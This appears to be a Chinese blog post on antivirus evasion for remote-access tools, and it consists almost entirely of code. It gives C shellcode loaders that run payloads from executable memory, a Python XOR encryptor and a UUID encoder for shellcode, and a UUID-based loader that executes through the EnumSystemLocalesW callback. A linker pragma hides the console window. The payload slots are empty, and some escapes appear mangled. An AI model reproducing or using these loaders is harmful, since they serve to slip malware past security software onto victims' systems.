远控免杀从入门到实践 | 技术精选0141

#include<stdio.h>#include<Windows.h>

unsigned char buf[] = "";

int main() {    char* Memory;

    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

    return 1;}

#!/usr/bin/env python# encoding: utf-8'''

@Author         : xd@Date           : 2021-01-23 15:57@Description    : shellcode XOR加密.

'''import random

buf = b"""[shellcode]"""

key = random.randint(30, 90)



def encrypt():    print("key:%s" % key)    i = 1    st = ''    for c in buf:        if i == key:            i = 1        st += '%#x' % (c ^ i)        i += 1

    st = st.replace("0x", "\x")    print(st)



if __name__ == "__main__":    encrypt()

#include<stdio.h>#include<Windows.h>#include<string.h>

int  main(){unsigned char encryptedShellcode[] = ""; //加密后的shellcodeint key = ;  //key值

unsigned char buf[sizeof(encryptedShellcode)];

int len = sizeof(encryptedShellcode);

int j = 1;for (int i = 0; i < len; ++i){if (j == key) j = 1;buf[i] = encryptedShellcode[i] ^ j;++j;}

char* addr;

addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (addr == NULL)  return -1;

memcpy(addr, buf, sizeof(buf));

((void(*)())addr)();

return 0;}

#coding=utf-8import uuid

#Input your shellcode like:xfcx48x83xe4xf0xe8xxxbuf = b"""[shellcode]"""import uuid

def convertToUUID(shellcode):    # If shellcode is not in multiples of 16, then add some nullbytes at the end    if len(shellcode) % 16 != 0:        print("[-] Shellcode's length not multiplies of 16 bytes")        print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")        print("n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))

        addNullbyte = b"x00" * (16 - (len(shellcode) % 16))        shellcode += addNullbyte

    uuids = []    for i in range(0, len(shellcode), 16):        uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))        uuids.append(uuidString.replace("'", """))    return uuids

u = convertToUUID(buf)print(str(u).replace("'", """))

#include<stdio.h>#include<Windows.h>#include<string.h>

const char *uuids[] = ;//uuid数组

int  main(){int len = sizeof(uuids)/sizeof(char*);



char* addr = NULL;

addr = HeapCreate(0x00040000, 0, 0);

if (addr == NULL)  return -1;

ZwAllocateVirtualMemory(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

char* addrPtr = addr;

for (int i = 0; i < len; ++i){byte* u = (byte*)uuids[i];RPC_STATUS rpcStatus = UuidFromStringA(&u[0], addrPtr);if (rpcStatus != 0) return 0;addrPtr += 16;
}EnumSystemLocalesW(addr, 0);
return 0;}

#pragma comment(linker,"/subsystem:“Windows” /entry:“mainCRTStartup”")